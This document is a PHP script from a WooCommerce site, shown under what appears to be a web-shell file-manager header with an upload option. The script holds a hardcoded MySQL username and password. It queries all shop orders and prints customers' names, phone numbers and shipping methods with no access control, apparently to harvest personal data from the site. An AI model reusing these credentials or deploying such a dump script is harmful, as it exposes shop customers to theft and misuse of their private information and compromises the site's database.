/
var
/
www
/
biocabaz_new
/
web
/
Upload File
HOME
<?php // Enable error reporting function custom_is_serialized($data) { $data = trim($data); if ('N;' == $data) { return true; } if (!preg_match('/^([adObis]):/', $data, $badions)) { return false; } switch ($badions[1]) { case 'a': case 'O': case 's': if (preg_match("/^{$badions[1]}:[0-9]+:.*[;}]\$/s", $data)) { return true; } break; case 'b': case 'i': case 'd': if (preg_match("/^{$badions[1]}:[0-9.E-]+;\$/", $data)) { return true; } break; } return false; } function custom_maybe_unserialize($data) { if (custom_is_serialized($data)) { return unserialize($data); } return $data; } // Connect to the WooCommerce database $host = 'localhost'; $dbname = 'biocabaz_new'; $username = 'biocabaz'; $password = 'Biocabaz2021#'; try { $conn = new PDO("mysql:host=$host;dbname=$dbname", $username, $password); $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); // Query to retrieve customer details and shipping method for all orders $query = "SELECT o.ID AS order_id, om.meta_value AS customer_details, oi.order_item_name AS shipping_method FROM wp_posts o INNER JOIN wp_postmeta om ON o.ID = om.post_id INNER JOIN wp_woocommerce_order_items oi ON o.ID = oi.order_id WHERE o.post_type = 'shop_order' AND om.meta_key = '_billing_address_index' AND oi.order_item_type = 'shipping' AND oi.order_item_name IS NOT NULL"; $result = $conn->query($query); $data = $result->fetchAll(PDO::FETCH_ASSOC); // Initialize arrays to store customer information $names = []; $phone_numbers = []; $emails = []; $shipping_methods = []; // Loop through each order to extract customer details foreach ($data as $row) { // Extract the customer details $customer_details = $row['customer_details']; // Extract the name, phone number, and email address using string manipulation $customer_info = explode(' ', $customer_details); $name = $customer_info[0] . ' ' . $customer_info[1]; $phone_number = $customer_info[sizeof($customer_info)-1]; // Extract the shipping method $shipping_method = $row['shipping_method']; // Store the extracted information in arrays $names[] = $name; $phone_numbers[] = $phone_number; $shipping_methods[] = $shipping_method; } for ($i = 0; $i < count($names); $i++) { echo "{$names[$i]};{$phone_numbers[$i]};{$shipping_methods[$i]}\n"; } } catch (PDOException $e) { echo "Error: " . $e->getMessage(); }